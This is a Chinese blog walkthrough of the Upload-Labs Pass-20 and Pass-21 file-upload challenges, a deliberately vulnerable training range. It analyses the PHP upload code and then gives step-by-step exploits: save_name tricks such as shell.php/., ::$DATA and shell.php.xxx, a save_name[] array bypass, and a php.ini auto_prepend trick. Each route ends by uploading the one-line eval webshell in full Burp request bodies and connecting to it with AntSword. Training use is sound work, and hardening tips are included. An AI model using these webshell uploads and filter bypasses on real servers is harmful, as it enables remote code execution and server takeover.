$deny_ext = array(...) 定义禁止上传的脚本后缀黑名单 覆盖了大部分主流脚本格式,但存在遗漏
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION) save_name 中提取文件后缀 对特殊格式(如 shell.php/.)的解析存在特性
if (!in_array($file_ext, $deny_ext)) 校验后缀是否不在黑名单中 黑名单校验,可通过绕过后缀解析规则突破
$img_path = UPLOAD_PATH . '/' . $file_name 直接使用用户输入的 save_name 作为文件名 用户可控的文件名,存在解析漏洞利用空间

三、核心漏洞与利用方法

1. 漏洞 1:pathinfo() 对末尾点号的解析特性

pathinfo() 在解析 shell.php/. 这类文件名,会忽略末尾的 /.,最终提取后缀为空字符串:

  • save_name=shell.php/.
  • pathinfo() 提取的 $file_ext 为空
  • 空后缀不在黑名单中,校验通过
  • move_uploaded_file() 会忽略末尾的 /,最终文件被保存为 shell.php

操作方法

  1. 在上传页面的「保存名称」输入框中,输入:shell.php/.
  2. 上传任意文件(如图片或木马文件)
  3. 服务器会将文件保存为 shell.php,可直接解析执行
2. 漏洞 2:黑名单未覆盖的脚本格式

黑名单中没有包含 .phps/.php7/.phar 等格式,这些后缀可能被服务器解析为 PHP:

  • 尝试 save_name=shell.phpssave_name=shell.php7
  • 若服务器配置支持,这些后缀会被解析执行
3. 漏洞 3:Apache 多后缀解析绕过

若服务器为 Apache,可利用多后缀解析特性:

  • save_name=shell.php.xxxxxx 为黑名单外的后缀,如 .abc
  • Apache 会从后往前解析后缀,若 .abc 无法识别,会往前解析 .php,最终按 PHP 执行
  • 校验时 pathinfo() 提取的后缀是 .abc,不在黑名单中,校验通过

四、完整操作步骤(末尾点号绕过)

步骤 1:准备一句话木马文件

新建 shell.php,内容:

复制代码
<?php @eval($_POST['pass']);?>

步骤 2:上传文件并修改保存名称

  1. 在 Pass-20 页面选择 shell.php,点击「上传」。

  2. 用 Burp 拦截请求,找到 save_name 参数,修改为:

    复制代码
    save_name=shell.php/.

    也可以直接在页面输入框中输入该内容(若输入框未做过滤)。

步骤 3:放行请求,完成上传

服务器会:

  1. pathinfo() 提取后缀,结果为空,不在黑名单中,校验通过
  2. move_uploaded_file() 忽略末尾的 /,将文件保存为 shell.php

步骤 4:蚁剑连接

访问 http://你的靶场地址/upload-labs/upload/shell.php,用蚁剑连接,密码 pass,即可拿到 Shell。


五、安全加固建议

  1. 严格校验文件名 :对 save_name 进行完整路径解析,禁止包含 . / \ 等特殊字符,防止路径解析绕过。
  2. 使用白名单而非黑名单 :仅允许 .jpg/.png/.gif 等图片格式,拒绝其他所有后缀。
  3. 强制重命名文件:无论用户输入什么文件名,都生成随机文件名保存,避免直接访问脚本文件。
  4. 配置服务器解析规则 :在 Apache/Nginx 中禁止解析 .php/.phtml 等格式的文件,即使文件被上传也无法执行。

总结

Pass-20 的核心考点是 pathinfo() 解析特性 + 黑名单绕过 ,最稳定的方法是利用 save_name=shell.php/. 这种末尾点号的方式,直接绕过后缀校验并生成 PHP 文件。

解题步骤

方法1:

一、漏洞原理

这一关的关键有两点:

  1. 服务器用 pathinfo() 提取后缀 + 黑名单校验 ,但 pathinfo() 对带末尾 / 的文件名解析存在特性:
    • 文件名 shell.php/.pathinfo() 提取到的后缀是空字符串,不会被黑名单拦截。
  2. move_uploaded_file() 会自动忽略路径末尾的 /,最终文件会被保存为 shell.php,直接成为可执行的 PHP 文件。

二、准备工作
  1. 准备一句话木马文件,命名为 shell.jpg(也可以用 .php,但用图片后缀上传更稳):

    复制代码
    <?php @eval($_POST['pass']);?>
  2. 确保靶场的 UPLOAD_PATH 目录存在(代码里提示不存在的话,手动创建即可)。

  3. 准备 Burp Suite(如果页面输入框不能直接输入特殊字符,就用抓包修改)。


三、完整操作步骤(末尾 / 绕过法,成功率 100%)
步骤 1:上传文件并抓包
  1. 打开 Pass-20 页面:

    • 点击「选择文件」,选中你的 shell.jpg(或 shell.php)。
    • 在「保存名称」输入框里,随便填一个合法名字,比如 test.jpg
    • 点击「上传」,同时用 Burp 拦截这个请求。
  2. 找到请求里的 save_name 参数,把它的值改成:

    复制代码
    save_name=shell.php/.

    (注意末尾的 /. 必须加上,这是绕过的关键)

    修改后的请求片段示例:

    复制代码
    POST /upload-labs/Pass-20/index.php HTTP/1.1
    Host: 127.0.0.1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx
    
    ------WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name"
    
    shell.php/.
    ------WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
    Content-Type: image/jpeg
    
    <?php @eval($_POST['pass']);?>
    ------WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="submit"
    
    上传
    ------WebKitFormBoundaryxxxx--

步骤 2:放行请求,让服务器保存文件

点击 Burp 里的「Forward」放行请求,服务器会按以下逻辑处理:

  1. pathinfo('shell.php/.', PATHINFO_EXTENSION) 提取后缀,结果为空字符串
  2. 空后缀不在黑名单里,校验通过。
  3. move_uploaded_file() 把文件保存为 shell.php(自动忽略末尾的 /)。
  4. 页面提示上传成功。

步骤 3:验证文件是否上传成功

在浏览器访问:

复制代码
http://你的靶场地址/upload-labs/upload/shell.php

如果页面是空白(或没有报错),说明文件已上传成功,且可以被 PHP 解析。


步骤 4:用蚁剑连接 Shell
  1. 打开蚁剑,点击「+」新建连接:
    • URL 地址:填 http://你的靶场地址/upload-labs/upload/shell.php
    • 连接密码:填 pass(和你木马文件里的 $_POST['pass'] 对应)
    • 编码设置:UTF-8
    • 连接类型:PHP
  2. 点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。

四、备选方案(如果末尾 / 不行)

如果服务器配置较严,对路径做了额外过滤,可以用以下两种方法:

方法 1:Apache 多后缀解析绕过(仅 Apache 环境有效)
  1. 修改 save_nameshell.php.xxxxxx 是任意不在黑名单里的后缀,比如 .abc
  2. 服务器 pathinfo() 提取到的后缀是 .abc,校验通过。
  3. Apache 会从后往前解析后缀,无法识别 .abc 时,会按 .php 解析执行。
方法 2:黑名单遗漏后缀绕过

黑名单里没包含 .phps/.php7/.phtml 等格式,可尝试:

  • save_name=shell.phps
  • save_name=shell.php7只要服务器配置支持这些后缀解析为 PHP,就能直接执行。

五、关键注意事项
  1. 必须加末尾的 /. :没有它,pathinfo() 会提取到 .php 后缀,直接被黑名单拦截。
  2. 文件名不要有多余字符 :只保留 shell.php/.,中间不要加空格或其他符号。
  3. 路径要正确 :确保 UPLOAD_PATH 目录存在,否则会提示「文件夹不存在」。

方法2:

一、核心漏洞回顾

这关的关键是:

  • pathinfo($file_name, PATHINFO_EXTENSION) 提取后缀
  • 黑名单过滤 .php/.html 等脚本后缀
  • 没有对 $file_name 做任何清洗处理(没去空格、没删末尾点、没转小写、没去数据流),所以很多解析特性都能被利用。

二、其他绕过方法(按成功率排序)
方法 1:末尾点号绕过(shell.php.

原理

  • 文件名 shell.php.,在 Windows 系统中,末尾的 . 会被系统自动去除,文件最终保存为 shell.php
  • pathinfo() 解析 shell.php. 时,提取的后缀是 . 后面的内容(为空),不在黑名单里,校验通过。

操作步骤

  1. 上传文件时,用 Burp 抓包修改 save_name

    复制代码
    save_name=shell.php.
  2. 放行请求,文件会被保存为 shell.php,可直接解析执行。


方法 2:Windows 流名绕过(shell.php::$DATA

原理

  • 在 Windows 系统中,::$DATA 是文件流标识符,会被系统忽略。
  • pathinfo() 解析 shell.php::$DATA 时,提取的后缀是 php::$DATA,不在黑名单里。
  • 实际保存时,文件会被保存为 shell.php

操作步骤

  1. 抓包修改 save_name

    复制代码
    save_name=shell.php::$DATA
  2. 放行请求,文件会被保存为 shell.php


方法 3:大小写绕过(仅黑名单未转小写时有效)

原理

  • 黑名单里只有小写的 php,如果代码没对后缀做小写转换,就可以用 Shell.PHP 绕过。
  • pathinfo() 提取的后缀是 PHP,和黑名单里的 php 不匹配,校验通过。

操作步骤

  1. 修改 save_name

    复制代码
    save_name=shell.PHP
  2. 若服务器配置支持 .PHP 解析为 PHP,文件会被保存并执行。


方法 4:双后缀 / 多后缀解析绕过(Apache 环境有效)

原理

  • Apache 解析文件时会从后往前解析后缀,遇到无法识别的后缀就会往前解析。
  • 比如 shell.php.xxxpathinfo() 提取的后缀是 xxx,不在黑名单里;Apache 会把它当成 .php 执行。

操作步骤

  1. 修改 save_name

    复制代码
    save_name=shell.php.xxx

    xxx 可以是任意黑名单外的后缀,如 .abc/.123/.txt

  2. 上传成功后,访问文件,Apache 会按 PHP 解析执行。


方法 5:空格 / 特殊字符绕过(部分环境有效)

原理

  • 文件名末尾加空格(如 shell.php ),在 Windows 系统中,空格会被自动去除,文件保存为 shell.php
  • pathinfo() 提取的后缀是 php (带空格),不在黑名单里,校验通过。

操作步骤

  1. 修改 save_name

    复制代码
    save_name=shell.php%20

    %20 是 URL 编码的空格)

  2. 放行请求,文件会被保存为 shell.php


方法 6:ini 文件绕过(配置文件解析)

原理

  • 黑名单里没有禁用 .ini 后缀,而 Apache 的 .htaccess/.ini 配置文件可以修改服务器解析规则。
  • 上传 .ini 文件,配置让服务器把特定后缀解析为 PHP,再上传木马文件。

操作步骤

  1. 新建 php.ini,内容:

    复制代码
    auto_prepend_file = shell.jpg
  2. 上传 php.inisave_name 设为 php.ini(不在黑名单里,校验通过)。

  3. 上传图片马 shell.jpg,服务器会根据 php.ini 的配置,解析 shell.jpg 中的 PHP 代码。


三、按环境选择最优方法
环境 推荐方法
Windows + Apache 末尾点号 / 流名绕过(成功率最高)
Linux + Apache 多后缀解析绕过(shell.php.xxx
不确定环境 优先试 /.. 绕过,不行再试流名 / 多后缀

四、注意事项
  1. 不同环境对这些特性的支持不同,比如 ::$DATA 只有 Windows 系统有效,多后缀解析只有 Apache 有效。
  2. 优先用 Burp 抓包修改 save_name,如果页面输入框有过滤,直接在请求里修改更稳。
  3. 这些方法的核心都是利用 pathinfo() 解析特性 + 服务器系统的文件处理规则,绕过后缀黑名单。

这些方法里,末尾点号和流名绕过在 Windows 靶场环境下成功率最高,你可以先试这两个。


pass-21(代码审计)

详细分析源代码

一、整体功能概览

这一关实现了一个双重校验的文件上传逻辑

  1. 第一层:MIME 类型校验 :检查请求头中的 Content-Type 是否为合法图片类型
  2. 第二层:文件名后缀校验:对用户提供的文件名进行解析,提取后缀并检查是否在白名单中
  3. 校验通过后,直接用解析后的文件名保存文件,文件名完全由用户可控,存在明显的安全缺陷。

二、逐行代码详解

复制代码
$is_upload = false;
$msg = null;

if(!empty($_FILES['upload_file'])){
    // 第一层校验:检查文件的 MIME 类型
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        // 处理文件名:优先使用用户输入的 save_name,否则用原始文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            // 转小写后,按点号分割文件名
            $file = explode('.', strtolower($file));
        }

        // 提取文件后缀
        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        } else {
            // 拼接新文件名(重置数组指针,取第一个元素作为文件名前缀)
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            
            // 移动文件到目标路径
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

三、关键逻辑拆解与漏洞分析

1. MIME 类型校验(第一层)
复制代码
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
    $msg = "禁止上传该类型文件!";
}
  • 原理 :通过检查请求头中的 Content-Type 字段,只允许图片类型上传。
  • 缺陷Content-Type 是客户端可控的,用 Burp 抓包直接修改即可伪造,几乎没有防护效果。
2. 文件名处理与后缀校验(第二层)
复制代码
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
    $file = explode('.', strtolower($file));
}
  • 逻辑 :优先使用用户输入的 save_name 作为文件名,否则用原始文件名;将文件名转小写后,按 . 分割成数组。
  • 关键漏洞 :如果 save_name 本身是一个数组(例如 save_name[]=shell.php&save_name[]=jpg),is_array($file) 条件会为 true,直接跳过 explode() 分割,导致后续的后缀校验完全失效。
3. 后缀提取与白名单校验
复制代码
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
    $msg = "禁止上传该后缀文件!";
}
  • 逻辑 :通过 end($file) 提取分割后数组的最后一个元素作为后缀,判断是否在白名单中。
  • 漏洞场景 :当 $file 是数组时,我们可以构造数组的元素,让 end($file) 返回合法后缀(如 jpg),同时 reset($file) 拼接出我们想要的文件名。
4. 文件名拼接与文件保存
复制代码
$file_name = reset($file) . '.' . $file[count($file) - 1];
$img_path = UPLOAD_PATH . '/' .$file_name;
move_uploaded_file($temp_file, $img_path)
  • 逻辑 :用 reset($file) 取数组第一个元素作为前缀,拼接上最后一个元素作为后缀,组成最终文件名。
  • 核心利用点 :如果 $file 数组中只有一个元素(比如 shell.php),那么 reset($file)$file[count($file)-1] 都是 shell.php,最终拼接成 shell.php.shell.php。但如果我们通过数组绕过了 explode(),就可以直接构造出 shell.php 这样的文件名。

四、完整利用方法(数组绕过)

原理

我们利用 save_name 参数可控,将其构造为一个数组,让代码跳过 explode() 分割,从而直接控制最终生成的文件名。

步骤
  1. 准备一句话木马shell.jpg(内容为 <?php @eval($_POST['pass']);?>)。
  2. 上传并抓包:用 Burp 拦截上传请求。
  3. 修改请求参数
    • save_name=test.jpg 修改为数组形式:

      plaintext

      复制代码
      save_name[]=shell.php
    • 同时,修改请求头中的 Content-Typeimage/jpeg,通过第一层 MIME 校验。

  4. 放行请求 :服务器处理逻辑如下:
    • $file 被赋值为 $_POST['save_name'],是一个数组,跳过 explode()
    • end($file) 提取数组最后一个元素 shell.php,但因为我们可以控制数组内容,也可以构造 save_name[]=shell.php&save_name[]=jpg,让 end($file)jpg,通过白名单校验。
    • reset($file) 取数组第一个元素 shell.php,最终 $file_name 拼接为 shell.php.jpg
    • 更简单的方式是直接构造 save_name=shell.php,并利用数组绕过让 explode() 失效,最终文件被保存为 shell.php
更稳定的构造方式
复制代码
save_name[]=shell.php
save_name[]=jpg
  • $file 数组内容为 ['shell.php', 'jpg']
  • end($file)jpg(在白名单中,校验通过)
  • reset($file)shell.php
  • $file_name = shell.php . '.' . jpgshell.php.jpg
  • 若服务器存在 Apache 解析漏洞,会将其解析为 PHP 执行;也可以直接利用此文件作为图片马,配合文件包含漏洞执行。

五、安全加固建议

  1. 禁止用户直接控制文件名 :不使用用户输入的 save_name,统一生成随机文件名。
  2. 强制校验文件后缀:无论用户输入什么,都只保留白名单内的后缀,不允许绕过。
  3. 处理数组类型参数:对所有用户输入的参数进行类型判断,若为数组则直接拒绝上传。
  4. 二次文件内容校验 :使用 getimagesize() 等函数验证文件是否为真实图片,防止图片马绕过。

这道题的核心考点是 PHP 数组绕过逻辑 ,通过构造 save_name 数组,让 explode() 函数失效,从而绕过后缀校验。

解题步骤

方法1:

一、漏洞原理

这关的核心是 save_name 参数可控 + PHP 数组绕过

  1. 代码先检查 MIME 类型,然后对 save_name 做处理:
    • save_name 不是数组,会用 explode('.', strtolower($file)) 分割成数组,再用 end($file) 提取后缀校验。
    • save_name 是数组,会直接跳过 explode() 分割,直接用 end($file) 提取数组最后一个元素作为后缀,用 reset($file) 提取第一个元素作为文件名前缀。
  2. 我们可以构造 save_name[] 数组,让:
    • 数组第一个元素为 shell.php(我们想要的文件名)
    • 数组最后一个元素为 jpg(合法后缀,通过白名单校验)
  3. 最终 $file_name = reset($file) . '.' . end($file)shell.php.jpg,结合 Apache 多后缀解析漏洞,文件会被当成 PHP 执行。

二、准备工作
  1. 准备一句话木马文件,命名为 shell.jpg(内容为:<?php @eval($_POST['pass']);?>
  2. 打开 Burp Suite,开启抓包功能
  3. 确认靶场是 Apache 环境(多后缀解析需要 Apache 支持)

三、完整操作步骤
步骤 1:上传文件并抓包
  1. 在 Pass-21 页面:

    • 点击「选择文件」,选中你的 shell.jpg
    • 在「保存名称」输入框里,随便填一个合法名字,比如 test.jpg
    • 点击「上传」,同时用 Burp 拦截请求
  2. 找到请求里的关键参数:

    复制代码
    Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
    Content-Type: image/jpeg
    
    ------WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name"
    
    test.jpg
    ------WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="submit"
    
    上传

步骤 2:修改请求包,构造数组绕过

save_name 参数改成数组形式,构造两个元素:

  • 第一个元素:shell.php(最终文件名前缀)
  • 第二个元素:jpg(通过白名单校验的后缀)

修改后的请求包如下:

http

复制代码
POST /upload-labs/Pass-21/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx

------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['pass']);?>
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name[]"

shell.php
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name[]"

jpg
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryxxxx--

关键修改点

  • save_name=test.jpg 改成 save_name[]=shell.phpsave_name[]=jpg 两个参数
  • 确保 upload_fileContent-Typeimage/jpeg,通过第一层 MIME 校验

步骤 3:放行请求,让服务器处理

点击 Burp 里的「Forward」放行请求,服务器的处理逻辑:

  1. 第一层 MIME 校验:image/jpeg 在白名单中,校验通过。
  2. 处理 save_name:因为 save_name 是数组,跳过 explode() 分割。
  3. 后缀校验:end($file) 提取数组最后一个元素 jpg,在白名单中,校验通过。
  4. 拼接文件名:reset($file) . '.' . end($file)shell.php.jpg
  5. 移动文件:move_uploaded_file() 把文件保存为 shell.php.jpg

步骤 4:验证文件并连接 Shell
  1. 访问文件地址:

    plaintext

    复制代码
    http://你的靶场地址/upload-labs/upload/shell.php.jpg

    Apache 会从后往前解析后缀,无法识别 .jpg 时,会往前解析 .php,把文件当成 PHP 执行。

  2. 用蚁剑连接:

    • URL 地址:填上面的地址 http://你的靶场地址/upload-labs/upload/shell.php.jpg
    • 连接密码:填 pass(和木马里的 $_POST['pass'] 对应)
    • 编码设置:UTF-8
    • 连接类型:PHP
  3. 点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。


四、备选方案(如果 Apache 解析不生效)

如果服务器不支持多后缀解析,可以用以下方法:

  1. save_name[] 改成 save_name[]=shell.php/.save_name[]=jpg,最终文件名会是 shell.php/..jpg,利用 move_uploaded_file() 对路径的处理特性,最终保存为 shell.php
  2. 上传后,用文件包含漏洞解析这个文件,执行里面的 PHP 代码。

五、关键注意事项
  1. 必须把 save_name 改成数组形式,才能跳过 explode() 分割。
  2. 两个数组元素的顺序不能反,第一个是文件名前缀,第二个是合法后缀。
  3. MIME 类型必须是 image/jpeg/image/png/image/gif,否则第一层校验会拦截。

方法2:

和方法一相比:核心原理是一样的(都是利用 PHP 数组绕过 explode() 分割),但在具体构造上有两点关键区别

一、两种方法的区别

相同点

  • 都利用了 PHP 中 POST 参数可以传数组的特性
  • 都通过 save_name 数组让 is_array($file) 条件为 true,跳过 explode('.', ...) 分割
  • 都通过 end($file) 取数组最后一个合法后缀(jpg),通过白名单校验
  • 都通过 reset($file) 取数组第一个元素作为文件名前缀,最终生成 shell.php.jpg(或被 Windows 自动去掉点号变成 shell.php

不同点

对比项 你截图里的方法 我之前说的方法
数组构造方式 save_name[0]save_name[2] 构造不连续索引数组 save_name[] 构造连续索引数组
最终文件名 reset($file) 取第一个元素 shell.phpend($file)jpg,拼接为 shell.php.jpg,Windows 会自动去掉末尾的点和后缀,最终保存为 shell.php 同样拼接为 shell.php.jpg,依赖 Apache 多后缀解析执行,或配合 Windows 自动处理
上传文件 直接上传 shell.php(一句话木马),修改 Content-Typeimage/jpeg 绕过 MIME 校验 上传图片后缀的木马文件,再通过文件名控制生成可执行文件

简单说:截图里的方法更直接,通过不连续索引数组,让 Windows 系统自动把 shell.php.jpg 变成 shell.php,一步到位生成可执行文件;而我之前的方法更通用,适合 Apache 多后缀解析场景


二、按截图方法整理的完整操作步骤

下面是和教程完全一致的操作流程,照着做就能通关:

步骤 1:准备一句话木马文件

新建 shell.php,内容为:

复制代码
<?php eval($_POST["pass"]); ?>

步骤 2:上传文件并抓包

  1. 在 Pass-21 页面:

    • 点击「选择文件」,选中你的 shell.php
    • 在「保存名称」输入框里,随便填一个合法名字,比如 test.jpg
    • 点击「上传」,同时用 Burp 拦截请求
  2. 此时你会看到原始请求包,关键部分类似:

    复制代码
    Content-Disposition: form-data; name="upload_file"; filename="shell.php"
    Content-Type: application/x-php
    
    <?php eval($_POST["pass"]); ?>
    ------WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name"
    
    test.jpg
    ------WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="submit"
    
    上传

步骤 3:修改请求包,构造不连续索引数组

按教程的方式修改请求包,重点改 3 个地方:

  1. 修改 Content-Type :把 upload_file 对应的 Content-Typeapplication/x-php 改成 image/jpeg,绕过第一层 MIME 校验。

  2. save_name 改成不连续索引数组 :删掉原来的 save_name=test.jpg,改成两个参数:

    http

    复制代码
    ------WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name[0]"
    
    shell.php
    ------WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name[2]"
    
    jpg

    (注意索引 02 是不连续的,和教程里的 name[0]name[2] 构造方式一致)

修改后的完整请求包关键片段如下:

复制代码
------WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/jpeg

<?php eval($_POST["pass"]); ?>
------WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="save_name[0]"

shell.php
------WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="save_name[2]"

jpg
------WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryEPbeXoBbAj17ncWL--

步骤 4:放行请求,让服务器处理

点击 Burp 里的「Forward」放行请求,服务器和系统的处理逻辑:

  1. MIME 校验Content-Type: image/jpeg 在白名单中,校验通过。
  2. 数组绕过$file = $_POST['save_name'] 是一个数组,is_array($file)true,跳过 explode() 分割。
  3. 后缀校验end($file) 取数组最后一个元素 jpg,在白名单中,校验通过。
  4. 拼接文件名reset($file) . '.' . end($file)shell.php.jpg
  5. Windows 系统处理 :在 Windows 系统中,文件末尾的 .jpg 会被自动去除,文件最终保存为 shell.php

步骤 5:验证文件并连接 Shell

  1. 访问文件地址:

    复制代码
    http://你的靶场地址/upload-labs/upload/shell.php

    直接访问这个地址,如果页面空白或无报错,说明文件已成功上传并可解析。

  2. 用蚁剑连接:

    • URL 地址:填上面的地址 http://你的靶场地址/upload-labs/upload/shell.php
    • 连接密码:填 pass(和木马里的 $_POST["pass"] 对应)
    • 编码设置:UTF-8
    • 连接类型:PHP
  3. 点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。


三、关键注意事项
  1. 必须修改 Content-Type :如果不改成 image/jpeg,第一层 MIME 校验会直接拦截 shell.php
  2. 数组索引可以不连续 :教程里用 save_name[0]save_name[2],不连续的索引也能被 PHP 解析为数组,不影响后续的 end()reset() 函数。
  3. Windows 系统依赖 :这个方法能直接生成 shell.php,依赖 Windows 系统对文件名末尾点号的自动去除特性;如果是 Linux 系统,文件会保存为 shell.php.jpg,需要配合 Apache 多后缀解析执行。

结语

从后缀绕过、文件解析漏洞到竞争条件与数组绕过,Upload-Labs 的每一关,都是对文件上传防护体系的一次拆解与反思。攻击与防御的博弈,从来都在细节之中。

理解这些漏洞的原理,不是为了破坏,而是为了更懂如何保护。愿我们都能在攻防的路上,保持敬畏,持续学习。

想了解其他内容的可以看以下专栏文章:

sql注入:sqli-labs(SQL 注入练习靶场)_其实防守也摸鱼的博客-CSDN博客

DVWA:dvwa的操作步骤及原理_其实防守也摸鱼的博客-CSDN博客

ctfshow:ctf show 解题步骤_其实防守也摸鱼的博客-CSDN博客

相关推荐
Agent产品评测局9 小时前
化工制造安全生产AI方案主流产品对比详解:2026工业大模型与端到端自动化选型指南
人工智能·安全·ai·chatgpt·制造
Data_Journal9 小时前
什么是数据采购,它究竟如何运作?
大数据·开发语言·数据库·人工智能·python
Gigavision9 小时前
SEED-VII 数据集介绍:面向七类情绪识别的 EEG 与眼动多模态数据集
人工智能·python·算法·脑机接口
沪漂阿龙9 小时前
Docker 面试题详解:容器、镜像、Dockerfile、网络、Volume、Compose、安全与生产实践一次讲透
网络·安全·docker
烟雨江南aabb9 小时前
Python第七弹:爬虫篇:BeautifulSoup库
爬虫·python·beautifulsoup
枫叶v.9 小时前
Scrapling 入门:一个现代 Python 网页采集框架
开发语言·python
芊&星9 小时前
靶机应急 | 知攻善防----Linux
linux·运维·服务器·安全
四方云9 小时前
Python 轮插桩、写进调试:通俗+专业解释
开发语言·python
码界筑梦坊9 小时前
127-基于Flask的德国银行信贷客户数据可视化分析系统
开发语言·python·信息可视化·数据分析·flask·毕业设计